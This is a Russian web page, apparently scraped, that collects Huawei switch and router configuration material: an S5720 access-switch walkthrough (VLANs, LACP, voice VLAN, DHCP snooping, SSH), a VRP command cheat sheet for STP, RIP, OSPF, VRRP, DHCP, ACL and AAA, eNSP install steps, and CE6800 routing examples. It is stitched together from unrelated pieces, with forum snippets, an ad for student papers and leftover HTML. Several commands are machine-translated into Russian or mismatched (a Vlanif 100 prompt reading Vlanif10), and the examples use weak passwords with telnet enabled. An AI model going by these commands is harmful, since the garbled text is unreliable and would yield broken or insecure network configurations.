[Руководство по установке симулятора Huawei eNSP] — Русские Блоги

Содержание

Базовые команды huawei s5600, s5300, s5700 и другие полезности для начинающих

В моём примере файл конфигурации совпал с текущей конфигурацией и мне сразу предложили перезагрузить, но если файл был изменён и не совпал вам предложат сохранить текущую конфигурацию в файл, на что вы должны ответить отказом, после чего согласиться на перезагрузку.

Собственно это не всё — это лишь команды доступные в этом режиме, теперь в ходим в режим

Стоит отметить, что команда «dis th»(display this) выполненная на порту 0/0/1 выдаёт ту же информацию, что и «dis cur int gig 0/0/1» выполненная в любом режиме и на любом порту, что удобно для копирования конфигурации. Тут приведены команды относящиеся к порту, точно так же можно посмотреть помощь по командам в сложных функциях вроде ACL, AAA, STP.

Если появятся вопросы могу рассказать и о других интересных функциях работы коммутатора в примерах с рабочей сети.

Примеры конфигов Huawei s5600 и s5300(s5700) с MAK-авторизациейОба коммутатора являются аналогами по производительности и функционалу, разница лишь в дате выпуска.

Свитчи Huawei (s5700) и iStackЗдравствуйте, уважаемые. Если не в ту ветку обращаюсь, простите — более близкой по теме не увидел.

DHCP Relay на huawei s5700Подскажите пожалуйста возможен ли такой финт: Вся сеть 172.30.0.0/16 Хочу за счёт Relay в один.

Traffic-inspect на HUAWEI S5700Здравствуйте. Ни кто не знает, есть ли в S5700 возможность инспектировать трафик? (аналог.

Заказываю контрольные, курсовые, дипломные и любые другие студенческие работы здесь.

Huawei s5300 некорректно работает AAA в версии прошивки v200

У меня коммутаторы доступа huawei серий s5600, s5300. Причём s5300 с разными прошивками в связи с.

Huawei S5700-28C-SI редактирование aclКоллеги, добрый день. Есть коммутатор S5700-28C-SI, в правиле прописан общий принтер с адресом.

Начальная конфигурация коммутатора huawei на примере s5720 — xcat

В данной статье хочу разобрать базовую настройку коммутатора на примере.

Имеется коммутатор Huawei S5720-52X-PWR-SI-AC. Устройство будет установлено в качестве коммутатора уровня доступа для пользователей офиса.

Требования такие:

  1. Подключения к уровню распределения агрегированным интерфейсом LACP
  2. Использование на пользовательских портах voice VLAN (для подключения ПК и IP телефона через один порт)
  3. Отдельный VLAN для сети принтеров и МФУ
  4. Подключение WI-FI точек trunk портом c PVID management VLAN
  5. Использование механизма DHCP snooping во всех VLAN

Итак поехали.

переходим в режим конфигурации:

<huawei>system-view

Даем имя коммутатору, например acess switch 01 — «ASW-01»:

[huawei]sysname ASW-01

Поскольку у нас будет использоваться voice vlan, телефоны будут получать информацию от коммутатора по протоколу LLDP или CDP по умолчанию у Cisco, совместимость с CDP включим, когда будем настраивать интерфейсы а пока на коммутаторе глобально включим LLDP:

[ASW-01]lldp enable

Для использования DHCP snooping нам потребуется включить на коммутаторе глобально DHCP и, непосредственно DHCP snooping:

[ASW-01]dhcp enable
[ASW-01]dhcp snooping enable

Теперь перейдем к VLAN, создаем VLAN для management:

[ASW-01]vlan 100
[ASW-01-vlan100]description Management

включим в этом VLAN DHCP snooping

[ASW-01-vlan100]dhcp snooping enable

выходим из настройки VLAN

[ASW-01-vlan100]quit

Аналогичным образом создаем остальные VLAN, я для примера создаю следующие VLAN:
200 — VoIP
300 — Office
400 — Printer

C VLAN разобрались, переходим к настройке доступа к коммутатору. Для начала создаем пользователя admin и назначаем ему пароль pa$$w0RD:

[ASW-01]aaa
[ASW-01-aaa]local-user admin password irreversible-cipher pa$$w0RD

назначаем пользователю уровень привилегий (15 самый высокий):

[ASW-01-aaa]local-user admin privilege level 15

включаем доступ по SSH для пользователя:

[ASW-01-aaa]local-user admin service-type telnet terminal ssh

отключаем запрос смены пароля по истечению определенного промежутка времени (это опционально, если хотите что бы устройство запрашивало смену пароля можно этого не делать):

[ASW-01-aaa]undo local-aaa-user password policy administrator
[ASW-01-aaa]quit

Теперь перейдем к включению SSH на устройстве:

[ASW-01]stelnet server enable
[ASW-01]ssh authentication-type default password

Создаем пару ключей для SSH:

[ASW-01]rsa local-key-pair create

Включаем доступ по SSH на линиях:

[ASW-01]user-interface vty 0 4
[ASW-01-ui-vty0-4]authentication-mode aaa
[ASW-01-ui-vty0-4]protocol inbound ssh
[ASW-01-ui-vty0-4]quit

Далее переходим к настройке интерфейса по которому будет доступ на коммутатор. Ранее было решено для менеджмента использовать VLAN 100. Переходим к конфигурации интерфейса этого VLAN и назначаем коммутатору IP:

[ASW-01]interface Vlanif 100
[ASW-01-Vlanif10]ip address 10.0.0.10 24
[ASW-01-Vlanif10]quit

Настраиваем шлюз по умолчанию:

[ASW-01]ip route-static 0.0.0.0 0.0.0.0 10.0.0.1

Перейдем к настройке UpLink интерфейса, как описано в требованиях выше, нам требуется собрать агрегированный интерфейс используя протокол LACP, использовать будем 10Gbit интерфейсы, имеющиеся в коммутаторе Huawei S5720-52X. У Huawei это называется Ether-Trunk, первым делом объявляем Ether-Trunk 1 и «проваливаемся» в его настройку:

[ASW-01]interface Eth-Trunk 1

затем указываем, какие порты будут являться членами агрегированного интерфейса, в данном случае я выбрал 2 10Gbit интерфейса:

[ASW-01-Eth-Trunk1]trunkport XGigabitEthernet 0/0/1 to 0/0/2

указываем протокол LACP:

[ASW-01-Eth-Trunk1]mode lacp

После этого можно конфигурировать порт в соответствии с нуждами, в нашем случае это будет trunk порт смотрящий в сторону ядра, разрешаем на нем все имеющиеся на коммутаторе VLAN и делаем его доверенным для DHCP snooping, по скольку это UpLink :

[ASW-01-Eth-Trunk1]port link-type trunk
[ASW-01-Eth-Trunk1]port trunk allow-pass vlan all
[ASW-01-Eth-Trunk1]dhcp snooping trusted
[ASW-01-Eth-Trunk1]quit

С UpLink закончили, теперь, наконец, можно перейти к настройке пользовательских портов.

Допустим порты с 1 по 46 будут использоваться для подключения телефонов и ПК пользователей, т.е. на этих портах нужно настроить voice и acces VLAN:

[ASW-01]interface range GigabitEthernet 0/0/1 to GigabitEthernet 0/0/46

Настройка порта к которому требуется подключать и телефон и ПК у Huawei отличается от привычной настройки на Cisco, здесь используется тип порта hybrid, после чего назначается voice vlan и дополнительно он добавляется на порт в качестве tagged:

[ASW-01-port-group]port link-type hybrid
[ASW-01-port-group]voice-vlan 200 enable
[ASW-01-port-group]port hybrid tagged vlan 200

В качестве untagged VLAN и PVID указываем тот что используется для ПК:

[ASW-01-port-group]port hybrid pvid vlan 300
[ASW-01-port-group]port hybrid untagged vlan 300

т.к. порт пользовательский отключаем состояния listening и learning для stp (аналог spanning tree portfast в Cisco)

[ASW-01-port-group]stp edged-port enable

наконец, включаем совместимость с протоколом CDP (cisco discover protocol) на случай если будут использоваться телефоны Cisco, добавляем description и выходим из конфигурации группы портов:

[ASW-01-port-group]lldp compliance cdp receive
[ASW-01-port-group]description Users
[ASW-01-port-group]quit

Порт 47 будем использовать для подключения МФУ, т.е. это будет просто access порт с VLAN для мфу и принтеров:

[ASW-01]interface GigabitEthernet 0/0/47
[ASW-01-GigabitEthernet0/0/47]port link-type access
[ASW-01-GigabitEthernet0/0/47]port default vlan 400
[ASW-01-GigabitEthernet0/0/47]description Printer
[ASW-01-GigabitEthernet0/0/47]quit

Порт 48 используем для подключения точки доступа WI-FI, на которой есть несколько SSID и значит этот порт должен быть в режиме trunk, а для менеджмента точки используется Management VLAN, значит в качестве PVID на этом порту будет Management VLAN.

[ASW-01]interface GigabitEthernet 0/0/48
[ASW-01-GigabitEthernet0/0/48]port link-type trunk
[ASW-01-GigabitEthernet0/0/48]port trunk pvid vlan 100
[ASW-01-GigabitEthernet0/0/48]port trunk allow-pass vlan all
[ASW-01-GigabitEthernet0/0/48]description WirelessAP
[ASW-01-GigabitEthernet0/0/48]quit

На этом первичная настройка, в соответствии с изначальными требованиями закончена. Не забываем сохранить конфигурацию, для этого нужно выйти из режима system view, нажав комбинацию клавиш Ctrl Z и дав команду save:

<ASW-01>save
The current configuration (excluding the configurations of unregistered boards or cards) will be written to flash:/vrpcfg.zip.
Are you sure to continue?[Y/N]y

PROFIT!

18 responses to “настройка коммутаторов huawei”

А какие идеи есть чтобы не по консоли зайти на готовый свич но IP-адрес неизвестен — достался в наследство есть ли способ узнать это и возможно и вебморда есть

Как вариант просканировать сеть и по ARP таблице посмотреть по MAC адресам. В начале MAC адреса идёт префикс вендора.

источник

Внутренние документы

blacktriangle  Wireshark:(Ранее назывался Ethereal) — сетевой пакет.Программное обеспечение для анализа. Функция программного обеспечения для анализа сетевых пакетов заключается в захвате сетевых пакетов и отображении максимально подробных данных о сетевых пакетах. Wireshark использует WinPCAP в качестве интерфейса для обмена сообщениями данных напрямую с сетевой картой.blacktriangle  winpcap:(захват пакетов Windows) — это бесплатная и общедоступная система доступа к сети на платформе Windows.blacktriangle  VirtualBox:Это программное обеспечение виртуальной машины с открытым исходным кодом.

Сначала загрузите и установите эти три программы.

Этапы установки eNSP

(1) Дважды щелкните, чтобы запустить установку eNSP V100R003C00, и выберите Китайский.

(2) Нажмите Далее

(3) Примите соглашение, следующий шаг

(4) Выберите место установки

(5) Следующий шаг

(6) Создайте рабочий стол

(7) Система определяет необходимое программное обеспечение

(8) Следующий шаг

(9) Готово, открываем eNSP

Rsa ключ

Генерируем RSA ключ для использования на устройстве. Без него SSH не заработает.

rsa local-key-pair create

Проверить ключ можно при помощи команды display rsa local-key-pair. Будет отображено имя ключа, его тип и дата создания.

[Quidway]display rsa local-key-pair public
=====================================================<br>Time of Key pair created: 01:10:03 2021/11/10<br>Key name: Quidway_Host<br>Key type: RSA encryption Key<br>=====================================================<br>Key code:<br>308188<br>...
=====================================================<br>Time of Key pair created: 01:10:10 2021/11/10<br>Key name: Quidway_Server<br>Key type: RSA encryption Key<br>=====================================================<br>Key code:<br>3067<br>...

Приступаем непосредственно к настройке SSH.

Базовая конфигурация

Пользовательский режим

После авторизации на устройстве, сразу войдите в пользовательский режим, можно выполнить только несколько команд для просмотра конфигурации;

Больше про Хуавей:  Доступ к сети закрыт сбой соединения на телефонах Huawei и Honor: причины, что делать?

Режим просмотра

В пользовательском режиме введите system-view, чтобы войти в режим просмотра, и выполните команды для глобальной конфигурации устройства;

Режим локальной конфигурации

В режиме просмотра введите команду локальной конфигурации, например interface GE 1/0/0, чтобы войти в режим конфигурации порта GE1 / 0/0,

Кроме того, существует множество режимов локальной конфигурации.Вы можете войти в режим конфигурации VLAN, режим конфигурации агрегации портов и т. Д. В соответствии с различными потребностями. Вы можете войти? Чтобы просмотреть, какие команды могут быть выполнены в текущем режиме;

Введите quit, чтобы вернуться в предыдущий режим конфигурации, введите commit, чтобы отправить существующую конфигурацию, и введите save в пользовательском режиме, чтобы сохранить конфигурацию;

Базовая настройка коммутаторов и маршрутизаторов huawei

Datacom оборудование Huawei работает на операционной системе VRP — Versatile Routing

Platform, которая в свою очередь основана на 

VxWorks

Версии VRP


не используются:
VRP 1 (1998-2001)
VRP2 (1999-2001)
VRP3 (2000-2004)

используются по настоящее время:
VRP5 (2000-now)
VRP8 (2009-now)

Доступ на устройства

Доступ через консольный порт осуществляется со следующими настройками (все аналогично cisco, в том числе консольный кабель):

bits per sec 9600
data bits      8
parity           none
stop bits      1
flow control none

Basic

вход в режим конфигурирования

system view

вернуться на уровень назад
quit

команда отрицания (аналогично no в cisco)

undo

настройка пароля доступа по консольному порту 

user-interface console 0

authentication-mode password

set 

authentication password cipher …

настройка пароля доступа через виртуальный терминал

VLAN Principles

создание

vlan batch

interface

port link-type access

port 

access default vlan …

interface

port link-type trunk

port trunk allow-pass vlan

port link-type hybrid

port hybrid untagged vlan …

port hybrid tagged vlan …

port hybrid pvid vlan …

создание L3 интерфейса

interface Vlanif  

ip address

Link Aggregation


L2 LAG

interface Eth-trunk 1 — создали LAG группу


interface

eth-trunk 1 -забиндили интерфейс

interface

eth-trunk 1 -забиндили интерфейс

L3 LAG

interface Eth-trunk 1 — создали LAG группу

// переход  интерфейса к L3

undo portswitch 

ip address 

interface

eth-trunk 1 -забиндили интерфейс

interface

eth-trunk 1 -забиндили интерфейс

LACP(link aggregation control protocol)

system-view

lacp priority … (The smaller the LACP system priority value, the higher the LACP system priority.)

int Eth-trunk 1 — создали LAG группу

mode lacp-static -выбрали режим

lacp preference … (The smaller the LACP interface priority value, the higher the LACP interface priority)

STP

выбор стандарта

stp mode stp

активируется глобально и на интерфейсе 

stp enable 

вручную указываем корень в топологии

stp root primary

stp root secondary

вручную указываем bridge priority

stp priority 32768

на интерфейсе

stp disable

stp port priority …

display stp brief

display stp instance 0 brief

RSTP

выбор стандарта

stp mode rstp

выключает edge порт при получении bpdu

stp bpdu-protection 

на интерфейсе:

stp root-protection (включается на портах корневого коммутатора, при получении лучшего bpdu порт переходит в состояние root-inconsistent — несогласованность корня)

используется на клиентских портах

stp edged-port enable

stp bpdu-filter enable (не отправляет и не принимает bpdu)

stp loop-protection (технология защиты от петель в моменты реконвергенции stp. если порт перестает получать bpdu он не переходит в состояние forwarding, а переходит в состояние loop-inconsistent)

MSTP

stp mode mstp

stp region-configuration

region-name parapampam

instance 1 vlan 2 to 10

instance 1 vlan 11 to 20

active region-configuration

display stp region-configuration

Static routing

создаем статический маршрут

ip route-static ipaddress { mask | mask-length } interface-type interface-number [ nexthopaddress ] preference …

создаем маршрут по умолчанию

ip route-static 0.0.0.0 0.0.0.0 nexthopaddress

RIP

basic:

rip 1

version 2 (по умолчанию version 1)

network 10.0.0.0

анонс маршрута по умолчанию через rip

default-route originate

выключаем автоматическую суммаризацию маршрутов

undo summary

суммаризация маршрутов на интерфейсе

int g0/0/0

rip summary-address 172.16.0.0 255.255.0.0.

debug

debugging rip 1,

disp debugging

terminal debugging

undo debugging rip 1 or undo debugging all !!!

RIP Metric

int g0/0/0

устанавливает cost на порту для входящих маршрутов

rip metricin 

устанавливает cost на порту для исходящих маршрутов

rip metricout 

rip poison-reverse

rip split horizon

Ограничение распространения маршрутной информации

int g0/0/0

undo rip output

undo rip input

интерфейс не передает маршрутную информацию, но принимает и заносит в routing table маршруты

rip 1

silent int g0/0/0 — 

Authentification

int g0/0/0

rip authentification-mode simple ….

int g0/0/1

rip authentification-mode md5 usual ….

display

display rip interface verbose

display rip 1 neighbor

OSPF

можно и без указания id. id учитывается при выборах DR, выбирается по наибольшему адресу

ospf 1 router-id 1.1.1.1 

area 0

network ip address wildcard-mask

меняем расчет метрики

ospf 1

bandwidth-reference 10000

меняем cost, таймеры, dr-priority 

int g0/0/0

ospf cost 20

ospf timer hello …

ospf timer dead …

ospf dr-priority …

Authentification OSPF

Simple authentication:

ospf authentication-mode { simple [ [ plain ]

| cipher <cipher-text>] | null } </cipher-text></plaintext></span></p><div><p><span><span>Cryptographic authentication:</span></span></p><p><span>ospf authentication-mode {md5 | hmac-md5 } [ key-id { plain <plain-text>| [ cipher ] <cipher-text>} ].</cipher-text></plain-text></span></p><p><span><span><span>Выключаем OSPF на порту (restrict OSPF operation)</span></span></span></p><p><span>ospf 1</span></p><p><span>silent-int g0/0/0</span></p></div><p><span><span><span>Объявление маршрута последней надежды через OSPF</span></span></span></p><div><p><span>ip route-static 0.0.0.0 0.0.0.0 loopback 0</span></p><p><span>ospf 1</span></p><p><span>default-route-advertise</span></p></div><p><span><span><span>display</span></span></span></p><div><p><span>disp ospf peer (показывает очень полезную информацию: area, интерфейс и адрес интерфейса, статус соседства, рутер id, master or slave)</span></p><p><span>disp ospf peer brief</span></p><p><span>disp ospf 1 int g0/0/0</span></p></div><p><span>VRRP</span></p><p><span><span><span>На ip интерфейсе</span></span></span></p><div><p><span>vrrp vrid 20 virtual-ip 10.74.10.17</span></p><p><span>vrrp vrid 20 priority 50</span></p></div><p><span>Интерфейс с наибольшим значением priority выбирается в качестве Master (default priority 100).</span></p><p><span><span>Установка задержки обратного переключению с backup на master</span></span></p><p><span>vrrp vrid 1 preempt-mode timer delay 20</span></p><p><span><span><span>При падении интерфейса<br> GigabitEthernet1/0/0 vrrp приоритет интерфейса g0/0/0 уменьшается на 40</span></span></span></p><p><span><span>int g0/0/0</span></span></p><p><span>vrrp vrid 1 track interface GigabitEthernet1/0/0 reduced 40<br></span></p><p><span>VRP Basic and Operation, file system</span></p><p><span><span><span>Работа с файловой системой</span></span></span></p><p><span><span>Для создания директории</span></span></p><p><span>mkdir <br></span></p><p><span><span>Для удаления директории</span></span></p><p><span>rmdir <br></span></p><p><span><span>Для удаления и переименование файла</span></span></p><p><span>delete <br></span></p><p><span>rename <br></span></p><p><span><span>Для удаления файла без возможности восстановления</span></span></p><p><span>delete /unreserved <br></span></p><p><span><span>Для восстановления файла</span></span></p><p><span>undelete <br></span></p><p><span><span>Для очистки «корзины»</span></span></p><p><span>reset recycle-bin<br></span></p><p><span><span>Удаление файла с конфигурацией</span></span></p><p><span>delete <br></span></p><p><span><span>Сброс сохранненой конфигурации</span></span></p><p><span>reset saved-configuration</span></p><p><span><span><span>Узнать версию софта</span></span></span></p><p><span>display version<br></span></p><p><span>display device slot</span></p><p><span><span><span>Работа с ftp</span></span></span></p><p><span><span>Подключиться по ftp</span></span></p><p><span>ftp x.x.x.x</span></p><p><span><span>скачать файл</span></span></p><p><span>get example.zip</span></p><p><span><span>Подключиться по tftp</span></span></p><p><span>tftp x.x.x.x get example.zip</span></p><p><span><span>Указываем файл </span><span>startup config</span></span></p><p><span>startup system-software example.zip</span></p><p><span>HDLC</span></p><div><p><span>int s2/0/0</span></p><p><span>link-protocol hdlc</span></p></div><p><span>ip address x x x x xx</span></p><p><span><span>привязываем адрес loopback</span></span></p><div><p><span>ip unnambered int loopback 0</span></p><p><span>PPP</span></p></div><p><span><span><span>Настройка ppp c </span><span>authentication-mode pap</span></span></span></p><p><span>R1</span></p><p><span>sysname BRAS</span></p><p><span>R2</span></p><p><span>sysname pap_client</span></p><p><span><span><span><span><span>Настройка ppp c </span></span></span><span>authentication-mode </span><span>chap</span></span></span></p><p><span>R1</span></p><p><span>sysname BRAS</span></p><div><p><span>link-protocol ppp</span></p><p><span>ppp authentication-mode chap<br></span></p></div><p><span>R2</span></p><p><span>sysname chap_client</span></p><p><span>int s1/0/0</span></p><p><span>PPPoE</span></p><p><span>display pppoe-server session all<br></span></p><p><span>sysname BRAS<br></span></p><p><span>int dialer 1<br></span></p><p><span>display nat server</span></p><p><span>diplay nat outbound </span></p><p><span>diplay nat address-group 1</span></p><div><p><span><br></span><span>DHCP</span></p><p><span><span><span>interface pool configuration</span></span></span></p><p><span>dhcp enable<br></span></p><p><span>int g0/0/0<br></span></p><p><span>dhcp select interface<br></span></p><p><span>dhcp server dns-list x.x.x.x<br></span></p><p><span>dhcp server excluded-ip-address x.x.x.x<br></span></p><p><span>dhcp server lease day x<br></span></p><p><span><span><span>global pool configuration</span></span></span></p><p><span>dhcp enable<br></span></p><p><span>ip pool pool1<br></span></p><p><span>network x.x.x.x mask xx<br></span></p><p><span>gateway-list x.x.x.x<br></span></p><p><span>lease day x<br></span></p><p><span>int g0/0/1<br></span></p></div><div><p><span>dhcp select global</span></p><p><span><span><span>dhcp relay</span></span></span></p></div><p><span>sysname dhcp server</span></p><p><span>dhcp enable<br></span></p><p><span>ip pool pool1<br></span></p><p><span>gateway-list 192.168.1.1<br></span></p><p><span>network 192.168.1.0 mask 255.255.255.0<br></span></p><p><span>interface GigabitEthernet0/0/0<br></span></p><p><span>ip address 10.10.10.1 255.255.255.252<br></span></p><p><span>dhcp select global<br></span></p><div><p><span>sysname dhcp relay</span></p><p><span>dhcp enable<br></span></p><p><span>dhcp server group 123<br></span></p><p><span>dhcp-server 10.10.10.1 0<br></span></p><p><span>interface GigabitEthernet0/0/1<br></span></p><p><span>ip address 192.168.1.1 255.255.255.0<br></span></p><p><span>dhcp select relay<br></span></p><p><span>dhcp relay server-select 123<br></span></p></div><p><span>ACL</span></p><p><span><span><span>basic</span></span></span></p><div><p><span>acl 2000<br></span></p><p><span>rule deny source x.x.x.x wildcard mask<br></span></p><p><span>rule permit source x.x.x.x wildcard mask<br></span></p><p><span>int g0/0/0<br></span></p><p><span>traffic-filter outbound acl 2000<br></span></p><p><span><span><span>advanced</span></span></span></p><p><span>acl 3000<br></span></p><p><span>rule deny tcp source x.x.x.x wildcard mask destination x.x.x.x wildcard mask destination-port eq 21<br></span></p><p><span>rule permit source x.x.x.x wildcard mask<br></span></p><p><span>int g0/0/0<br></span></p><p><span>traffic-filter inbound acl 3000<br></span></p><p><span><span><span>acl aplication nat</span></span></span></p><p><span>nat address-group 1 x.x.x.x y.y.y.y<br></span></p><p><span>acl 2000<br></span></p><p><span>rule permit source z.z.z.z wildcard mask<br></span></p><p><span>int g0/0/0<br></span></p><p><span>nat outbound 2000 address-group 1<br></span></p></div><p><span>AAA</span></p><p><span>настраиваем способ аутентификации</span></p><p><span>user-interface vty 0 4</span></p><p><span>authentication-mode aaa</span></p><p><span>aaa</span></p><p><span><span>создаем схему авторизации</span></span></p><p><span>authorization-scheme auth1 </span></p><p><span><span>схема без сервера: radius…</span></span></p><p><span>authorization-mode local </span></p><p><span><span>создаем схему аутентификации</span></span></p><p><span>authentication-scheme auth2</span></p><p><span><span>схема без сервера: radius,diametr…</span></span></p><p><span>authentication-mode local </span></p><p><span><span>создаем домен и привязываем схемы аутентификации и авторизации</span></span></p><p><span>domain huawei</span></p><p><span>authentication-scheme auth2</span></p><p><span>authorization-scheme auth1</span></p><p><span><span>создаем пользователя в домене и указываем достпные сервисы и привилегии</span></span></p><p><span>local-user user1@huawei password cipher qwerty</span></p><p><span>local-user user1@huawei service-type telnet</span></p><p><span><span>Если оставить только telnet, то по консольному кабелю не будет доступа </span><span>в случае аутентификации по AAA</span></span></p><p><span>user-int con 0</span></p><p><span>authentication aaa</span></p><p><span>local-user user1@huawei privilege level 0</span></p><div><p><span>display domain name huawei</span></p></div></div></div><h2><span id="_ip">Задание ip-адреса на устройстве</span></h2><p><strong>Для входа в систему, вы можете использовать Telnet . Однако Telnet требует, чтобы на интерфейсе устройства был установлен IP-адрес. Для присвоения IP-адреса, выполните команду ip-address {mask | mask-length} в интерфейсном виде. </strong></p><p>Параметры ip-address и mask задают IP-адрес и маску подсети соответственно в десятичной системе счисления, а mask-length задает число последовательных “1”в двоичной системе счисления маски подсети. В следующем примере показано, как установить IP-адрес 10.1.1.100 и маску подсети 255.255.255.0 для интерфейса управления Ethernet 1/0/0:</p><p>Длина двоичной записи маски подсети равна 24 (255.255.255.0 эквивалентна двоичному значению 11111111.11111111.11111111.00000000), поэтому в этом примере вы можете заменить 255.255.255.0 на 24.</p><h2><span id="i-3">Изменить имя устройства</span></h2><p>[~HUAWEI]sysname CE6800</p><p>Если фиксации нет, нужно один раз выйти из режима просмотра системы и сохранить;</p><p><strong> Настроить информацию об описании устройства </strong></p><p>Добавьте описание устройства входа, например: Только администратор может настраивать оборудование.</p><h2><span id="i-4">К. кряженков, а. степушин.центр сетевого управления ителекоммуникаций мирэа</span></h2><p>В этот раз мы снова вернемся к коммутаторам от компании Huawei ипосмотрим, как настраиваются некоторые необходимые функции ипротоколы. Напомним, модель наших устройств Quidway S3928P-SI, которыеимеют по 24 Ethernet порта 10/100 и 4 слота под sfp-модули.</p><p><strong>В этот раз мы постараемся выполнить следующие задачи: </strong></p><ol><li>Создание БД VLAN</li><li>Протокол обнаружения соседей</li><li>Настройка управляющего VLAN</li><li>Настройка портов доступа и магистральных</li><li>Распространение информации о VLAN на все коммутаторы</li><li>Настройка порт-секьюрити</li><li>Настройка голосовогоVLAN</li><li>Настройка STP</li></ol><p>На помощь нам придут мануалы, доступные для просмотра искачивания здесь:</p><h2><span id="___huawei_quidway_s2300">Как быстро настроить несколько коммутаторов huawei quidway s2300</span></h2><p>Первым делом настроим один коммутатор, например по этой статье: Настройка коммутатора Huawei Quidway S2326TP-EI Настраивать нужно как можно детальнее, так как если что-то будет упущено, то придется донастраивать каждый коммутатор.</p><div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://huaweidevices.ru/novosti/telefon-uaei-p30-pro-kak-vklyuit-zapis-zvonkov-uaei-devies" target="_blank" rel="nofollow" class="ud71f944644e1648520f608172a7e3323"><style>.ud71f944644e1648520f608172a7e3323 { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:#ECF0F1; border:0!important; border-left:4px solid #E74C3C!important; text-decoration:none; } .ud71f944644e1648520f608172a7e3323:active, .ud71f944644e1648520f608172a7e3323:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .ud71f944644e1648520f608172a7e3323 { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .ud71f944644e1648520f608172a7e3323 .ctaText { font-weight:bold; color:#2980B9; text-decoration:none; font-size: 16px; } .ud71f944644e1648520f608172a7e3323 .postTitle { color:#C0392B; text-decoration: underline!important; font-size: 16px; } .ud71f944644e1648520f608172a7e3323:hover .postTitle { text-decoration: underline!important; }</style><div style="padding-left:1em; padding-right:1em;"><span class="ctaText">Больше про Хуавей:</span>&nbsp; <span class="postTitle">Телефон Huawei P30 Pro: как включить запись звонков - Huawei Devices</span></div></a></div><p><strong>Файл конфигурации будем копировать на все коммутаторы, заранее перед каждым копированием изменив в нем IP-адрес. Скопируем конфиг первого настроенного коммутатора на TFTP сервер командой: </strong></p><p>И изменим в нем IP-адрес для следующего коммутатора.</p><p>Подключимся через консоль к следующему коммутатору и назначим ему IP-адрес чтобы можно было загрузить новую прошивку и файл конфигурации с tftp сервера (можно также загрузить прошивку и конфиг через консоль как указано в этой статье: Инструкция по прошивке Huawei Quidway S2300 через BOOTROM MENU)</p><p><strong>Как указано выше у меня влан 207 используется для управления и приходит тегом на 25 порт. Чтобы не выполнять вручную каждую команду, их можно скопировать все сразу в буфер обмен и вставить в консоль, после чего они поочередно выполнятся. После как все прописали и файлы загрузились просто вытащим и вставим шнур питания из коммутатора чтобы он перегрузился, командой не перезагружаю дабы коммутатор не стер или не заменил файл конфигурации (что как заметил бывает).</strong></p><p>Все, коммутатор запустится с новой прошивкой и нашим загруженным файлом конфигурации. Все остальные коммутаторы настраиваются аналогично. Имя старого файла прошивки можно посмотреть и удалить командами:</p><p>источник</p><h2><span id="_ip-2">Настроить ip интерфейса</span></h2><p>Схема топологии выглядит следующим образом:</p><p><strong>Конфигурация CE6800 </strong></p><p>[* CE6800] отменить пакетный коммутатор портов GE 1/0/0 GE 1/0/0 Открытая трехуровневая пересылка</p><p>[* CE6800] interface GE 1/0/0 ,,,, войдите в режим настройки интерфейса</p><p>[* CE6800-GE1 / 0/0] IP-адрес 10.0.12.1 24 Настройка IP-адреса и сетевой маски</p><p>[* CE6800-GE1 / 0/0] описание этого порта для подключения к CE12800 GE 1/0/0 Добавить описание порта (необязательно)</p><p>[* CE6800-GE1 / 0/0] отменить выключение Активация интерфейса</p><p>[* CE6800-GE1 / 0/0] quit Выйти из режима настройки интерфейса выход из режима настройки интерфейса</p><p>[* CE6800] commit Зафиксировать конфигурацию</p><p><strong>Просмотрите конфигурацию после сохранения: </strong></p><p>Конфигурация CE12800</p><p>Настройте адрес GE 1/0/0 как 10.0.12.1 24</p><p><strong>Остальная часть конфигурации такая же, как у CE6800, проверьте результаты конфигурации следующим образом </strong></p><p>Отправьте эхо-запрос однорангового узла CE12800 от CE6800 для проверки возможности подключения</p><h2><span id="__aaa">Настроить аутентификацию входа aaa</span></h2><p>сертификация aaa</p><p>Аутентификация (аутентификация), авторизация (авторизация), сокращение (учет), является механизмом управления сетевой безопасностью; Аутентификация – это локальная аутентификация / авторизация, авторизация и учет обслуживаются удаленным радиусом (система удаленной аутентификации по набору номера) или сервер hwtacacs (Система контроля доступа к терминалам Huawei) выполняет аутентификацию / авторизацию;</p><p><strong>Войдите в режим конфигурации VTY </strong></p><h2><span id="i-5">Настроить маршрут по умолчанию</span></h2><p>В этой топологии маршруты по умолчанию настроены на CE6800 и CE6850, и они также могут пинговать друг друга. Пример конфигурации следующий:</p><p>Конфигурация CE6800:</p><p>[~CE6800]ip route-static 0.0.0.0 0.0.0.0 10.0.12.2</p><p><strong>Конфигурация CE6850: </strong></p><p>[~HUAWEI]ip route-static 0.0.0.0 0.0.0.0 8.0.10.1</p><p>Посмотреть таблицу маршрутизации отдельно:</p><p>Используя маршрут по умолчанию, устройства на обоих концах топологии также могут пинговать друг друга;</p><h2><span id="i-6">Настроить статическую маршрутизацию</span></h2><p><strong>Как и в предыдущем случае, схема топологии выглядит следующим образом: </strong></p><p>Цель: позволить CE6800 пинговать 8.0.10.2 на CE6850</p><p>На CE12800 настройте IP-адрес интерфейса GE 1/0/1 на 8.0.10.1/24.</p><p>На CE6850 настройте GE 1/0/0 IP интерфейса 8.0.10.2/24.</p><p>После подключения к сети попробуйте выполнить эхо-запрос 8.0.10.2 на CE6850 с CE6800, но эхо-запрос не работает;</p><p><strong>Проверьте таблицу маршрутизации CE6800, нет маршрута к 8.0.10.0/24 </strong></p><p>Добавьте статический маршрут в 8.0.10.0/24 на CE6800, адрес следующего перехода должен быть 10.0.12.2 на CE12800</p><p>[*CE6800]ip route-static 8.0.10.0 24 10.0.12.2</p><p><strong>Затем попробуйте выполнить эхо-запрос 8.0.10.2 на CE6850 с CE6800, но пинг по-прежнему не выполняется. </strong></p><p>Причина в том, что CE6850 не имеет маршрута к сетевому сегменту 10.0.12.0/24, что приводит к тому, что пакет данных ping «идет и не возвращается»;</p><p>Добавьте статический маршрут к 10.0.12.0/24 на CE6850, адрес следующего перехода должен быть 8.0.10.1 на CE12800</p><p>[~CE6850]ip route-static 10.0.12.0 24 8.0.10.1</p><p>После отправки и сохранения CE6800 может пинговать 8.0.10.2 на CE6850;</p><p><strong>Проверьте таблицы маршрутизации CE6800, CE12800 и CE6850, как показано на рисунке ниже соответственно. </strong></p><p>Обратите внимание, что поле Proto бывает двух типов: прямое и статическое.</p><p>Все маршруты CE12800 подключены напрямую, а в поле Pre установлено значение 0.</p><p>CE6800 